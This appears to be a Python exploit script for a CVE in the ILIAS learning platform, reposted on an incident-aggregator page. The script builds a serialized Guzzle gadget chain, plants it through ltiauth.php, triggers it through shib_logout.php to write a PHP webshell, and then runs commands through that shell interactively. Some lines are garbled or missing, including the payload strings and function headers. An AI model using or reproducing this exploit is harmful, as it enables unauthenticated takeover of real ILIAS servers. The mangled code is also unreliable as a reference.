CVE-2026-80428 Unauthenticated PHP Object Injection via Shibboleth - ILIAS save($this->filename) -> file_put_contents($filename,
# json_encode($cookies)). Attacker-chosen path + JSON-embedded PHP = webshell.
# Tested: ILIAS 10.9 on Rocky Linux 9 (Apache + PHP-FPM 8.2, MariaDB backend).
# Notes: - v11.x ships a broken shib_logout.php variant (null $DIC) and does
# not reach the vulnerable code as packaged; v9/v10 are exploitable.
# - The target's docroot disk path is needed for the file write
# (--path). Defaults to the standard /var/www/ilias/public.
# - If ILIAS was configured with a fixed http path, requests must carry
# that hostname (--host-header).
# Usage: python3 CVE-2026-80428.py [--cmd 'id']
# python3 CVE-2026-80428.py 10.10.10.20 --host-header lms.example --shell
import argparse, http.client, re, secrets, ssl, sys, urllib.parse
b = x.encode() if isinstance(x, str) else x
return b's:' + str(len(b)).encode() + b':"' + b + b'";'
php = b' ' # PHP8: bareword index fatals; chr() avoids quotes
data = (s('Name') + s('util') + s('Value') + s(php) + s('Domain') + s('ilias')
+ s('Path') + s('/') + s('Max-Age') + b'N;' + s('Expires') + b'i:1999999999;'
+ s('Secure') + b'b:0;' + s('Discard') + b'b:0;' + s('HttpOnly') + b'b:0;')
setcookie = (b'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{'
+ s('\x00GuzzleHttp\\Cookie\\SetCookie\x00data') + b'a:9:{' + data + b'}}')
return (b'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{'
+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies') + b'a:1:{i:0;' + setcookie + b'}'
+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode') + b'b:0;'
+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename') + s(path)
+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies') + b'b:1;}')
SOAP = (b' \n '
b' x '
b' ')
def __init__(self, host, port, host_header):
self.ctx = ssl._create_unverified_context()
def req(self, method, path, body=None, ctype=None):
conn = (http.client.HTTPSConnection if self.port == 443 else http.client.HTTPConnection)(
self.host, self.port, context=self.ctx if self.port == 443 else None, timeout=30)
conn.request(method, path, body=body, headers=h)
r = conn.getresponse(); d = r.read(); conn.close()
ap = argparse.ArgumentParser(description="CVE-2026-80428 - ILIAS unauthenticated PHP object injection RCE")
ap.add_argument("--port", type=int, default=443)
ap.add_argument("--host-header", default=None, help="vhost/ILIAS client hostname if required")
ap.add_argument("--path", default="/var/www/ilias/public",
help="ILIAS docroot on disk (v10/11: .../public; v9: repo root)")
ap.add_argument("--shell", action="store_true", help="interactive command loop")
t = Target(a.target, a.port, a.host_header)
shell = f"util_{secrets.token_hex(3)}.php"
print(f"[*] seeding session via ltiauth.php (writes {disk})")
urllib.parse.quote_from_bytes(b"junk|" + filecookiejar(disk)).encode())
st, _ = t.req("POST", "/ltiauth.php", body, "application/x-www-form-urlencoded")
print(f"[-] ltiauth.php returned {st} — is this ILIAS with the LTI entry point exposed?")
print("[*] triggering unserialize via shib_logout.php (SOAP LogoutNotification)")
st, d = t.req("POST", "/shib_logout.php", SOAP, "text/xml")
if b"LogoutNotificationResponse" not in d and b" " not in d:
print(f"[-] trigger response looks wrong (HTTP {st}): {d[:160]!r}")
st, d = t.req("GET", f"/{shell}?x=" + urllib.parse.quote(cmd))
m = re. (rb'"Value":"(.*?)","Domain"', d, re.S)
return (m.group(1) if m else d).decode(errors="replace").strip()
print("[-] webshell did not respond — wrong --path / docroot not writable by web user?")
print(f"[+] webshell live: {'https' if a.port==443 else 'http'}://{a.target}:{a.port}/{shell}?x= ")
print("[*] interactive loop — 'exit' quits")
except (EOFError, KeyboardInterrupt): break
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
